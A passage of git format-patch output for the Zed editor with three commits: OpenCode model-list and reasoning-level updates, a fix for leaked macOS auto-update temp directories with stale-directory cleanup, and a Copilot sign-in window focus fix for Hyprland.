+                placeholder: Some(OPEN_AI_COMPATIBLE_MODEL_PLACEHOLDER),
                 ..Default::default()
             })),
             files: USER,

From 452e1cb27365fbaa935eba1b2aca98279350cbaa Mon Sep 17 00:00:00 2001
From: Vlad Ionescu <Vlaaaaaaad@users.noreply.github.com>
Date: Tue, 7 Jul 2026 13:16:42 +0300
Subject: [PATCH 303/772] opencode: Model updates + fixes (#60526)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

**TL;DR**: model updates + reasoning levels + fixes discovered when
working on https://github.com/zed-industries/zed/pull/60373

# Objective

Since the model auto-discovery PR was
[cancelled](https://github.com/zed-industries/zed/pull/60373#issuecomment-4886521448),
here is a manual model list update! I also copied the stand-alone
bugfixes/enhancements from that PR.

## Solution

A lot of manual work 😅

**OpenCode Zen**:
- added Fable 5 and Sonnet 5
- added models that were previously only available on OpenCode Go: GLM
5.2, Kimi K2.7 Code, and Minimax M3
- added reasoning levels for all models. I started from the data on
[`Models.dev`](https://models.dev) (the `/api.json` raw data), and then
I matched that with what is shown in the OpenCode CLI and what I know to
be true

**OpenCode Go**:
- added reasoning levels for GLM 5.2

**OpenCode in general**:
- added `protocol` validation for the settings, by moving from a random
`String` to an `enum`, for both nicer error messages (random strings or
typos will get an error instead of using `openai_chat` by default) and
to avoid issues like [folks saying non-existent protocols are a
thing](https://github.com/zed-industries/zed/issues/56869#issuecomment-4550154554)
- enabled parallel tool calls by default. As per [OpenCode developer on
Discord](https://discord.com/channels/1391832426048651334/1471233160993050918/1472020924881702912),
_"almost all models worth using support parallel tool calling
natively"_. Manual tests confirmed all OpenCode Go models support this
correctly (and was enabled by default on the OpenCode side for all but 1
model). I initially wanted to skip this from the release notes, but I
added it so folks are aware of it in case any issues are caused by this
being enabled for all models
- allegedly fixed Google thinking since reasoning levels / thinking
effort levels were added for Google models and an auto-checker LLM
highlighted that was not properly configured
- added support for the new-ish `supports_disabling_thinking` so
thinking-only models don't get a no-impact toggle to disable thinking

I have no idea if any of the Free models will disappear in 2 days or
not, so I did not update those 🤷 (as per decision in
https://github.com/zed-industries/zed/issues/56869#issuecomment-4466637648)

## Testing

The Zen and Google changes were not tested as I don't have a Zen
subscription and I stubbornly refuse to get one.

The Free&Go changes were tested by running a "_rename this variable for
me. add a function. delete the function_" test with a few different
models.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:
- Agent: OpenCode settings now validate `protocol` values
- Agent: OpenCode only shows the "Disable thinking" toggle if thinking
can indeed be disabled/enabled
- Agent: OpenCode models now enable parallel tool calls by default
- Agent: Updated OpenCode Zen models (added Fable 5, Sonnet 5, GLM 5.2,
Kimi K2.7 Code, and Minimax M3)
- Agent: Added OpenCode Go GLM 5.2 reasoning effort levels
- Agent: Added reasoning effort levels for all OpenCode Zen models
- Agent: Fixed thinking for OpenCode Zen Google models
---
 .../language_models/src/provider/opencode.rs  |  36 ++--
 crates/opencode/src/opencode.rs               | 162 +++++++++++++++---
 crates/settings_content/src/language_model.rs |  16 +-
 docs/src/ai/use-api-access.md                 |   4 +-
 4 files changed, 180 insertions(+), 38 deletions(-)

diff --git a/crates/language_models/src/provider/opencode.rs b/crates/language_models/src/provider/opencode.rs
index 94689cc0d66b84..c3e5c0f8dab4bb 100644
--- a/crates/language_models/src/provider/opencode.rs
+++ b/crates/language_models/src/provider/opencode.rs
@@ -14,6 +14,7 @@ use language_model::{
     SubPageProviderSettings, env_var,
 };
 use opencode::{ApiProtocol, OPENCODE_API_URL, OpenCodeSubscription};
+pub use settings::OpenCodeApiProtocol;
 pub use settings::OpenCodeAvailableModel as AvailableModel;
 use settings::{Settings, SettingsStore, update_settings_file};
 use std::sync::{Arc, LazyLock};
@@ -263,12 +264,12 @@ impl LanguageModelProvider for OpenCodeLanguageModelProvider {
         }
 
         for model in &settings.available_models {
-            let protocol = match model.protocol.as_str() {
-                "anthropic" => ApiProtocol::Anthropic,
-                "openai_responses" => ApiProtocol::OpenAiResponses,
-                "openai_chat" => ApiProtocol::OpenAiChat,
-                "google" => ApiProtocol::Google,
-                _ => ApiProtocol::OpenAiChat, // default fallback
+            let protocol = match model.protocol {
+                Some(OpenCodeApiProtocol::Anthropic) => ApiProtocol::Anthropic,
+                Some(OpenCodeApiProtocol::OpenAiResponses) => ApiProtocol::OpenAiResponses,
+                Some(OpenCodeApiProtocol::OpenAiChat) => ApiProtocol::OpenAiChat,
+                Some(OpenCodeApiProtocol::Google) => ApiProtocol::Google,
+                None => ApiProtocol::OpenAiChat, // default fallback
             };
             let subscription = match model.subscription {
                 Some(settings::OpenCodeModelSubscription::Go) => OpenCodeSubscription::Go,
@@ -574,6 +575,12 @@ impl LanguageModel for OpenCodeLanguageModel {
             .is_some_and(|levels| levels.iter().any(|effort| *effort != ReasoningEffort::None))
     }
 
+    fn supports_disabling_thinking(&self) -> bool {
+        self.model
+            .supported_reasoning_effort_levels()
+            .is_some_and(|levels| levels.contains(&ReasoningEffort::None))
+    }
+
     fn supported_effort_levels(&self) -> Vec<LanguageModelEffortLevel> {
         self.model
             .supported_reasoning_effort_levels()
@@ -692,7 +699,7 @@ impl LanguageModel for OpenCodeLanguageModel {
                 let openai_request = into_open_ai(
                     request,
                     self.model.id(),
-                    false,
+                    true,
                     false,
                     self.model.max_output_tokens(self.subscription),
                     ChatCompletionMaxTokensParameter::MaxCompletionTokens,
@@ -715,7 +722,7 @@ impl LanguageModel for OpenCodeLanguageModel {
                 let response_request = into_open_ai_response(
                     request,
                     self.model.id(),
-                    false,
+                    true,
                     false,
                     self.model.max_output_tokens(self.subscription),
                     None,
@@ -730,11 +737,14 @@ impl LanguageModel for OpenCodeLanguageModel {
                 .boxed()
             }
             ApiProtocol::Google => {
-                let google_request = into_google(
-                    request,
-                    self.model.id().to_string(),
-                    google_ai::GoogleModelMode::Default,
-                );
+                let mode = if self.supports_thinking() && request.thinking_allowed {
+                    google_ai::GoogleModelMode::Thinking {
+                        budget_tokens: None,
+                    }
+                } else {
+                    google_ai::GoogleModelMode::Default
+                };
+                let google_request = into_google(request, self.model.id().to_string(), mode);
                 let stream = self.stream_google(google_request, http_client, extra_headers, cx);
                 async move {
                     let mapper = GoogleEventMapper::new();
diff --git a/crates/opencode/src/opencode.rs b/crates/opencode/src/opencode.rs
index ab030721e35ab7..79d95b9cd25a62 100644
--- a/crates/opencode/src/opencode.rs
+++ b/crates/opencode/src/opencode.rs
@@ -77,6 +77,10 @@ pub enum Model {
     ClaudeSonnet4,
     #[serde(rename = "claude-haiku-4-5")]
     ClaudeHaiku4_5,
+    #[serde(rename = "claude-sonnet-5")]
+    ClaudeSonnet5,
+    #[serde(rename = "claude-fable-5")]
+    ClaudeFable5,
 
     // -- OpenAI Responses API models --
     #[serde(rename = "gpt-5.5")]
@@ -203,23 +207,24 @@ impl Model {
         match self {
             // Models available in both Zen and Go
             Self::Glm5_1
+            | Self::Glm5_2
             | Self::KimiK2_6
+            | Self::KimiK2_7Code
             | Self::MiniMaxM2_7
+            | Self::MiniMaxM3
             | Self::DeepSeekV4Pro
             | Self::DeepSeekV4Flash
             | Self::Qwen3_6Plus => &[OpenCodeSubscription::Zen, OpenCodeSubscription::Go],
 
             // Go-only models
-            Self::MimoV2_5Pro
-            | Self::MimoV2_5
-            | Self::Qwen3_7Plus
-            | Self::Qwen3_7Max
-            | Self::KimiK2_7Code
-            | Self::Glm5_2
-            | Self::MiniMaxM3 => &[OpenCodeSubscription::Go],
+            Self::MimoV2_5Pro | Self::MimoV2_5 | Self::Qwen3_7Plus | Self::Qwen3_7Max => {
+                &[OpenCodeSubscription::Go]
+            }
 
             // Deprecated on Go (per models.dev); still offered on Zen
-            Self::Glm5 | Self::KimiK2_5 | Self::MiniMaxM2_5 => &[OpenCodeSubscription::Zen],
+            Self::Glm5 | Self::KimiK2_5 | Self::MiniMaxM2_5 | Self::Qwen3_5Plus => {
+                &[OpenCodeSubscription::Zen]
+            }
 
             // Free models
             Self::Nemotron3UltraFree | Self::BigPickle => &[OpenCodeSubscription::Free],
@@ -243,6 +248,8 @@ impl Model {
             Self::ClaudeSonnet4_5 => "claude-sonnet-4-5",
             Self::ClaudeSonnet4 => "claude-sonnet-4",
             Self::ClaudeHaiku4_5 => "claude-haiku-4-5",
+            Self::ClaudeSonnet5 => "claude-sonnet-5",
+            Self::ClaudeFable5 => "claude-fable-5",
 
             Self::Gpt5_5 => "gpt-5.5",
             Self::Gpt5_5Pro => "gpt-5.5-pro",
@@ -302,6 +309,8 @@ impl Model {
             Self::ClaudeSonnet4_5 => "Claude Sonnet 4.5",
             Self::ClaudeSonnet4 => "Claude Sonnet 4",
             Self::ClaudeHaiku4_5 => "Claude Haiku 4.5",
+            Self::ClaudeSonnet5 => "Claude Sonnet 5",
+            Self::ClaudeFable5 => "Claude Fable 5",
 
             Self::Gpt5_5 => "GPT 5.5",
             Self::Gpt5_5Pro => "GPT 5.5 Pro",
@@ -356,7 +365,7 @@ impl Model {
         match self {
             // Models offered by OpenCode have the same configuration across subscriptions
             //  with one outlier: non-free MiniMax models
-            Self::MiniMaxM2_7 | Self::MiniMaxM2_5 => {
+            Self::MiniMaxM3 | Self::MiniMaxM2_7 | Self::MiniMaxM2_5 => {
                 if subscription == OpenCodeSubscription::Zen {
                     ApiProtocol::OpenAiChat
                 } else {
@@ -364,11 +373,13 @@ impl Model {
                 }
             }
 
-            Self::ClaudeOpus4_8
+            Self::ClaudeFable5
+            | Self::ClaudeOpus4_8
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_6
             | Self::ClaudeOpus4_5
             | Self::ClaudeOpus4_1
+            | Self::ClaudeSonnet5
             | Self::ClaudeSonnet4_6
             | Self::ClaudeSonnet4_5
             | Self::ClaudeSonnet4
@@ -394,9 +405,9 @@ impl Model {
 
             Self::Gemini3_1Pro | Self::Gemini3Flash | Self::Gemini3_5Flash => ApiProtocol::Google,
 
-            Self::Qwen3_7Max | Self::Qwen3_7Plus => ApiProtocol::Anthropic,
-
-            Self::MiniMaxM3 => ApiProtocol::Anthropic,
+            Self::Qwen3_7Max | Self::Qwen3_7Plus | Self::Qwen3_6Plus | Self::Qwen3_5Plus => {
+                ApiProtocol::Anthropic
+            }
 
             Self::Glm5
             | Self::Glm5_1
@@ -407,8 +418,6 @@ impl Model {
             | Self::KimiK2_7Code
             | Self::MimoV2_5Pro
             | Self::MimoV2_5
-            | Self::Qwen3_5Plus
-            | Self::Qwen3_6Plus
             | Self::DeepSeekV4Pro
             | Self::DeepSeekV4Flash
             | Self::BigPickle
@@ -432,6 +441,7 @@ impl Model {
             | Self::Glm5_2
             | Self::MiniMaxM2_5
             | Self::MiniMaxM2_7
+            | Self::MiniMaxM3
             | Self::Nemotron3UltraFree
             | Self::BigPickle => true,
 
@@ -453,6 +463,8 @@ impl Model {
             Self::ClaudeOpus4_5 | Self::ClaudeHaiku4_5 => 200_000,
             Self::ClaudeOpus4_1 => 200_000,
             Self::ClaudeSonnet4 => 1_000_000,
+            Self::ClaudeSonnet5 => 1_000_000,
+            Self::ClaudeFable5 => 1_000_000,
 
             // OpenAI models
             Self::Gpt5_5 | Self::Gpt5_5Pro => 1_050_000,
@@ -473,7 +485,13 @@ impl Model {
 
             // OpenAI-compatible models
             Self::MiniMaxM2_7 => 204_800,
-            Self::MiniMaxM3 => 512_000,
+            Self::MiniMaxM3 => {
+                if subscription == OpenCodeSubscription::Go {
+                    1_000_000
+                } else {
+                    512_000
+                }
+            }
             Self::MiniMaxM2_5 => 204_800,
             Self::Glm5 | Self::Glm5_1 => {
                 if subscription == OpenCodeSubscription::Go {
@@ -514,6 +532,8 @@ impl Model {
             | Self::ClaudeHaiku4_5
             | Self::ClaudeSonnet4 => Some(64_000),
             Self::ClaudeOpus4_1 => Some(32_000),
+            Self::ClaudeSonnet5 => Some(128_000),
+            Self::ClaudeFable5 => Some(128_000),
 
             // OpenAI models
             Self::Gpt5_5
@@ -539,7 +559,13 @@ impl Model {
 
             // OpenAI-compatible models
             Self::MiniMaxM2_7 => Some(131_072),
-            Self::MiniMaxM3 => Some(131_072),
+            Self::MiniMaxM3 => {
+                if subscription == OpenCodeSubscription::Go {
+                    Some(131_072)
+                } else {
+                    Some(128_000)
+                }
+            }
             Self::MiniMaxM2_5 => {
                 if subscription == OpenCodeSubscription::Go {
                     Some(65_536)
@@ -587,7 +613,9 @@ impl Model {
             | Self::ClaudeSonnet4_6
             | Self::ClaudeSonnet4_5
             | Self::ClaudeSonnet4
-            | Self::ClaudeHaiku4_5 => true,
+            | Self::ClaudeHaiku4_5
+            | Self::ClaudeSonnet5
+            | Self::ClaudeFable5 => true,
 
             // OpenAI models support images
             Self::Gpt5_5
@@ -649,27 +677,119 @@ impl Model {
 
     pub fn supported_reasoning_effort_levels(&self) -> Option<Vec<ReasoningEffort>> {
         match self {
-            Self::ClaudeOpus4_8 => Some(vec![
+            // Anthropic models
+            Self::ClaudeFable5
+            | Self::ClaudeOpus4_8
+            | Self::ClaudeOpus4_7
+            | Self::ClaudeSonnet5 => Some(vec![
                 ReasoningEffort::Low,
                 ReasoningEffort::Medium,
                 ReasoningEffort::High,
                 ReasoningEffort::XHigh,
+                ReasoningEffort::Max,
             ]),
 
-            Self::Nemotron3UltraFree | Self::MimoV2_5Pro | Self::MimoV2_5 => Some(vec![
+            Self::ClaudeOpus4_6 | Self::ClaudeSonnet4_6 => Some(vec![
                 ReasoningEffort::Low,
                 ReasoningEffort::Medium,
                 ReasoningEffort::High,
+                ReasoningEffort::Max,
             ]),
 
-            Self::DeepSeekV4Pro | Self::DeepSeekV4Flash => Some(vec![
+            Self::ClaudeOpus4_5 => Some(vec![
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
+            // OpenAI models
+            Self::Gpt5_5
+            | Self::Gpt5_4
+            | Self::Gpt5_4Mini
+            | Self::Gpt5_4Nano
+            | Self::Gpt5_3Codex
+            | Self::Gpt5_2 => Some(vec![
+                ReasoningEffort::None,
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+                ReasoningEffort::XHigh,
+            ]),
+
+            Self::Gpt5_5Pro | Self::Gpt5_4Pro => Some(vec![
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+                ReasoningEffort::XHigh,
+            ]),
+
+            Self::Gpt5_2Codex | Self::Gpt5_3Spark | Self::Gpt5_1CodexMax => Some(vec![
                 ReasoningEffort::Low,
                 ReasoningEffort::Medium,
                 ReasoningEffort::High,
                 ReasoningEffort::XHigh,
+            ]),
+
+            Self::Gpt5_1 => Some(vec![
+                ReasoningEffort::None,
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
+            Self::Gpt5Codex | Self::Gpt5_1Codex | Self::Gpt5_1CodexMini => Some(vec![
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
+            Self::Gpt5 | Self::Gpt5Nano => Some(vec![
+                ReasoningEffort::Minimal,
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
+            // Google models
+            Self::Gemini3Flash | Self::Gemini3_5Flash => Some(vec![
+                ReasoningEffort::Minimal,
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
+            Self::Gemini3_1Pro => Some(vec![
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
+            // DeepSeek models
+            Self::DeepSeekV4Pro | Self::DeepSeekV4Flash => Some(vec![
+                // OpenCode also supports Low&Medium but as per DeepSeek those are mapped to High
+                ReasoningEffort::High,
                 ReasoningEffort::Max,
             ]),
 
+            // MiniMax models
+            Self::MiniMaxM3 => Some(vec![ReasoningEffort::None]),
+
+            // NVIDIA models
+            Self::Nemotron3UltraFree => Some(vec![
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
+            // Xiaomi MiMo models
+            Self::MimoV2_5Pro | Self::MimoV2_5 => Some(vec![
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
+            // Z AI models
+            Self::Glm5_2 => Some(vec![ReasoningEffort::High, ReasoningEffort::Max]),
+
             Self::Custom {
                 reasoning_effort_levels,
                 ..
diff --git a/crates/settings_content/src/language_model.rs b/crates/settings_content/src/language_model.rs
index e58f3dcc02b511..f61d80ead75efb 100644
--- a/crates/settings_content/src/language_model.rs
+++ b/crates/settings_content/src/language_model.rs
@@ -217,6 +217,18 @@ pub struct OpenCodeSettingsContent {
     pub show_free_models: Option<bool>,
 }
 
+#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize, JsonSchema, MergeFrom)]
+pub enum OpenCodeApiProtocol {
+    #[serde(rename = "anthropic")]
+    Anthropic,
+    #[serde(rename = "openai_responses", alias = "open_ai_responses")]
+    OpenAiResponses,
+    #[serde(rename = "openai_chat", alias = "open_ai_chat")]
+    OpenAiChat,
+    #[serde(rename = "google")]
+    Google,
+}
+
 #[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize, JsonSchema, MergeFrom)]
 #[serde(rename_all = "snake_case")]
 pub enum OpenCodeModelSubscription {
@@ -232,8 +244,8 @@ pub struct OpenCodeAvailableModel {
     pub display_name: Option<String>,
     pub max_tokens: u64,
     pub max_output_tokens: Option<u64>,
-    /// The API protocol to use for this model: "anthropic", "openai_responses", "openai_chat", or "google".
-    pub protocol: String,
+    /// The API protocol to use for this model: "anthropic", "openai_responses", "openai_chat", or "google". Defaults to "openai_chat".
+    pub protocol: Option<OpenCodeApiProtocol>,
     /// The subscription for this model: "zen", "go", or "free". Defaults to Zen.
     pub subscription: Option<OpenCodeModelSubscription>,
     /// Custom Model API URL to use for this model.
diff --git a/docs/src/ai/use-api-access.md b/docs/src/ai/use-api-access.md
index 0ddf85ba33b77c..7af0c0e68a3948 100644
--- a/docs/src/ai/use-api-access.md
+++ b/docs/src/ai/use-api-access.md
@@ -406,8 +406,8 @@ The available configuration options for custom OpenCode models are:
 - `display_name` (optional): human-readable model name shown in the UI, such as `Custom GLM 9000`
 - `max_tokens` (required): maximum model context window size, such as `1000000`
 - `max_output_tokens` (optional): maximum tokens the model can generate, such as `64000`
-- `protocol` (required): model API protocol, one of `"anthropic"`, `"openai_responses"`, `"openai_chat"`, or `"google"`
-- `reasoning_effort_levels` (optional): list of supported reasoning effort levels, such as `["low", "medium", "high", "max"]`. The last value in the list is used as the default
+- `protocol` (optional, default `"openai_chat"`): model API protocol, one of `"anthropic"`, `"openai_responses"`, `"openai_chat"`, or `"google"`
+- `reasoning_effort_levels` (optional): list of supported reasoning effort levels, such as `["none", "low", "medium", "high", "xhigh", "max"]`. The last value in the list is used as the default
 - `interleaved_reasoning` (optional, default `false`): whether thinking tokens are sent as a dedicated `reasoning_content` field. Applies only when using the `openai_chat` protocol
 - `subscription` (optional): `"zen"`, `"go"`, or `"free"`; defaults to `"zen"`
 - `custom_model_api_url` (optional): custom API base URL to use instead of the default OpenCode API

From 2eeca73e665a814c5b1430a3bfd8aacff0477fb3 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Tue, 7 Jul 2026 12:23:28 +0200
Subject: [PATCH 304/772] auto_update: Fix installer temp dirs leaking on macOS
 (#60528)

The unmount of the update disk image was made async-and-detached in
#38867, which introduced a race: the installer TempDir was dropped
(running remove_dir_all) while the DMG was still mounted inside it. The
removal failed silently, leaking a zed-auto-update* dir containing the
~140 MB DMG in /private/var/folders on every update.

Now the unmount is awaited before the temp dir is dropped (installation
already runs on the background executor since #58767, so this no longer
blocks the UI), with the Drop impl kept as a safety net for early exits
and cancellation. Additionally, stale installer dirs older than 24 hours
are swept from the temp dir when update polling starts, so existing
accumulated leaks get reclaimed.

Closes FR-104
Closes #58835

Release Notes:

- Fixed the macOS auto-updater leaking a copy of the downloaded update
in the system temp directory on every update, and added cleanup of
previously leaked files.
---
 crates/auto_update/src/auto_update.rs | 128 ++++++++++++++++++++------
 1 file changed, 100 insertions(+), 28 deletions(-)

diff --git a/crates/auto_update/src/auto_update.rs b/crates/auto_update/src/auto_update.rs
index 67643ee6345ee2..4193e8185cda43 100644
--- a/crates/auto_update/src/auto_update.rs
+++ b/crates/auto_update/src/auto_update.rs
@@ -194,35 +194,53 @@ struct MacOsUnmounter<'a> {
     background_executor: &'a BackgroundExecutor,
 }
 
+impl MacOsUnmounter<'_> {
+    /// Unmounts the disk image and waits for completion. This must happen
+    /// before the `InstallerDir` is dropped: deleting the temp dir while the
+    /// image is still mounted inside it fails silently and leaks the
+    /// directory (and the downloaded DMG) in the system temp dir.
+    async fn unmount(mut self) {
+        let mount_path = mem::take(&mut self.mount_path);
+        unmount_disk_image(&mount_path).await;
+    }
+}
+
 impl Drop for MacOsUnmounter<'_> {
     fn drop(&mut self) {
         let mount_path = mem::take(&mut self.mount_path);
+        // Safety net for early exits and cancellation; the happy path calls
+        // `unmount`, which leaves the path empty.
+        if mount_path.as_os_str().is_empty() {
+            return;
+        }
         self.background_executor
-            .spawn(async move {
-                let unmount_output = new_command("hdiutil")
-                    .args(["detach", "-force"])
-                    .arg(&mount_path)
-                    .output()
-                    .await;
-                match unmount_output {
-                    Ok(output) if output.status.success() => {
-                        log::info!("Successfully unmounted the disk image");
-                    }
-                    Ok(output) => {
-                        log::error!(
-                            "Failed to unmount disk image: {:?}",
-                            String::from_utf8_lossy(&output.stderr)
-                        );
-                    }
-                    Err(error) => {
-                        log::error!("Error while trying to unmount disk image: {:?}", error);
-                    }
-                }
-            })
+            .spawn(async move { unmount_disk_image(&mount_path).await })
             .detach();
     }
 }
 
+async fn unmount_disk_image(mount_path: &Path) {
+    let unmount_output = new_command("hdiutil")
+        .args(["detach", "-force"])
+        .arg(mount_path)
+        .output()
+        .await;
+    match unmount_output {
+        Ok(output) if output.status.success() => {
+            log::info!("Successfully unmounted the disk image");
+        }
+        Ok(output) => {
+            log::error!(
+                "Failed to unmount disk image: {:?}",
+                String::from_utf8_lossy(&output.stderr)
+            );
+        }
+        Err(error) => {
+            log::error!("Error while trying to unmount disk image: {:?}", error);
+        }
+    }
+}
+
 #[derive(Clone, Copy, Debug, RegisterSetting)]
 struct AutoUpdateSetting(bool);
 
@@ -345,6 +363,9 @@ pub fn view_release_notes(_: &ViewReleaseNotes, cx: &mut App) -> Option<()> {
     None
 }
 
+#[cfg(not(target_os = "windows"))]
+const INSTALLER_DIR_PREFIX: &str = "zed-auto-update";
+
 #[cfg(not(target_os = "windows"))]
 struct InstallerDir(tempfile::TempDir);
 
@@ -353,7 +374,7 @@ impl InstallerDir {
     async fn new() -> Result<Self> {
         Ok(Self(
             tempfile::Builder::new()
-                .prefix("zed-auto-update")
+                .prefix(INSTALLER_DIR_PREFIX)
                 .tempdir()?,
         ))
     }
@@ -448,6 +469,9 @@ impl AutoUpdater {
                     .log_err();
             }
 
+            #[cfg(all(not(target_os = "windows"), not(test)))]
+            cx.background_spawn(cleanup_stale_installer_dirs()).detach();
+
             loop {
                 this.update(cx, |this, cx| this.poll(UpdateCheckType::Automatic, cx))?;
                 cx.background_executor().timer(poll_interval).await;
@@ -1161,8 +1185,7 @@ async fn install_release_macos(
         String::from_utf8_lossy(&output.stderr)
     );
 
-    // Create an MacOsUnmounter that will be dropped (and thus unmount the disk) when this function exits
-    let _unmounter = MacOsUnmounter {
+    let unmounter = MacOsUnmounter {
         mount_path: mount_path.clone(),
         background_executor,
     };
@@ -1171,10 +1194,13 @@ async fn install_release_macos(
     cmd.args(["-av", "--delete", "--exclude", "Icon?"])
         .arg(&mounted_app_path)
         .arg(&running_app_path);
-    let output = cmd
-        .output()
-        .await
-        .with_context(|| "failed to rsync: {cmd}")?;
+    let rsync_output = cmd.output().await;
+
+    // Await the unmount (even if rsync failed) so that the installer temp dir
+    // can be deleted once this function returns.
+    unmounter.unmount().await;
+
+    let output = rsync_output.with_context(|| "failed to rsync: {cmd}")?;
 
     anyhow::ensure!(
         output.status.success(),
@@ -1185,6 +1211,52 @@ async fn install_release_macos(
     Ok(None)
 }
 
+/// Removes stale installer dirs from the system temp dir. Older Zed versions
+/// leaked one per update by deleting the dir while the downloaded disk image
+/// was still mounted inside it, which made the deletion fail silently.
+#[cfg(any(rust_analyzer, all(not(target_os = "windows"), not(test))))]
+async fn cleanup_stale_installer_dirs() {
+    const STALE_INSTALLER_DIR_AGE: Duration = Duration::from_secs(24 * 60 * 60);
+
+    let temp_dir = std::env::temp_dir();
+    let Ok(mut entries) = fs::read_dir(&temp_dir).await else {
+        log::warn!("failed to read temp dir {temp_dir:?} while cleaning up installer dirs");
+        return;
+    };
+    while let Some(entry) = entries.next().await {
+        let Ok(entry) = entry else {
+            continue;
+        };
+        if !entry
+            .file_name()
+            .to_string_lossy()
+            .starts_with(INSTALLER_DIR_PREFIX)
+        {
+            continue;
+        }
+        // Leave recent dirs alone, as they may belong to an update currently
+        // in progress in another Zed instance.
+        let is_stale = entry.metadata().await.ok().is_some_and(|metadata| {
+            metadata.is_dir()
+                && metadata.modified().ok().is_some_and(|modified| {
+                    SystemTime::now()
+                        .duration_since(modified)
+                        .is_ok_and(|age| age > STALE_INSTALLER_DIR_AGE)
+                })
+        });
+        if is_stale {
+            if let Err(error) = fs::remove_dir_all(entry.path()).await {
+                log::warn!(
+                    "failed to remove stale installer dir {:?}: {error}",
+                    entry.path()
+                );
+            } else {
+                log::info!("removed stale installer dir {:?}", entry.path());
+            }
+        }
+    }
+}
+
 async fn cleanup_windows() -> Result<()> {
     let parent = std::env::current_exe()?
         .parent()

From 59c021d8dcee7f5b0ac17d298dce96ca8633421e Mon Sep 17 00:00:00 2001
From: hiro / THETIME <hirorock@gmail.com>
Date: Tue, 7 Jul 2026 19:27:57 +0900
Subject: [PATCH 305/772] copilot_ui: Fix Copilot sign-in window focus on
 Hyprland (#59933)

# Objective

The Copilot sign-in dialog was created without an `app_id` or window
title, resulting in an empty WM class/title on Linux. Tiling window
managers with class-based no-focus rules (like Hyprland's default
configuration in Omarchy) treat such windows as anonymous popups and
refuse to focus them, making the dialog impossible to interact with.

## Solution

Set both `app_id` and window title on the Copilot code verification
window, following the established pattern used in other UI components
like `agent_ui` and `settings_ui`.

Added `release_channel` as a dependency to
`crates/copilot_ui/Cargo.toml` and called
`app_id(ReleaseChannel::app_id(cx))` and `window_title("Use GitHub
Copilot in Zed")` in `open_copilot_code_verification_window`.

## Testing

Verified on Hyprland (Omarchy) by inspecting window properties with
`hyprctl clients`:

**Before (empty class/title):**

```
Window 5606ee1dd280 -> :
    class:
    title:
    acceptsInput: 0
```

**After (with proper class/title):**

```
Window 5606ee22b660 -> Use GitHub Copilot in Zed:
    class: dev.zed.Zed-Dev
    title: Use GitHub Copilot in Zed
    acceptsInput: 1
```

The dialog now receives keyboard focus and mouse input correctly on
Hyprland. I tested on Linux only; this fix lives in the window creation
call so it is a no-op on macOS and Windows where `app_id` is ignored.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed Copilot sign-in window not being focusable on Hyprland and
similar tiling window managers

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 Cargo.lock                       |  1 +
 crates/copilot_ui/Cargo.toml     |  1 +
 crates/copilot_ui/src/sign_in.rs | 12 ++++++++----
 3 files changed, 10 insertions(+), 4 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index b1d1e834170f83..1ada6ef9e5ce01 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -3907,6 +3907,7 @@ dependencies = [
  "lsp",
  "menu",
  "project",
+ "release_channel",
  "serde_json",
  "settings",
  "ui",
diff --git a/crates/copilot_ui/Cargo.toml b/crates/copilot_ui/Cargo.toml
index 14b9fe436791eb..ba5935c65edf62 100644
--- a/crates/copilot_ui/Cargo.toml
+++ b/crates/copilot_ui/Cargo.toml
@@ -28,6 +28,7 @@ log.workspace = true
 lsp.workspace = true
 menu.workspace = true
 project.workspace = true
+release_channel.workspace = true
 serde_json.workspace = true
 settings.workspace = true
 ui.workspace = true
diff --git a/crates/copilot_ui/src/sign_in.rs b/crates/copilot_ui/src/sign_in.rs
index 4eb73b6d82e759..5741d61348538f 100644
--- a/crates/copilot_ui/src/sign_in.rs
+++ b/crates/copilot_ui/src/sign_in.rs
@@ -9,6 +9,7 @@ use gpui::{
     Subscription, TaskExt, Window, WindowBounds, WindowOptions, div, point,
 };
 use project::project_settings::ProjectSettings;
+use release_channel::ReleaseChannel;
 use settings::Settings as _;
 use ui::{ButtonLike, CommonAnimationExt, ConfiguredApiCard, Vector, VectorName, prelude::*};
 use util::ResultExt as _;
@@ -55,12 +56,13 @@ pub fn reinstall_and_sign_in(copilot: Entity<Copilot>, window: &mut Window, cx:
 
 fn open_copilot_code_verification_window(copilot: &Entity<Copilot>, window: &Window, cx: &mut App) {
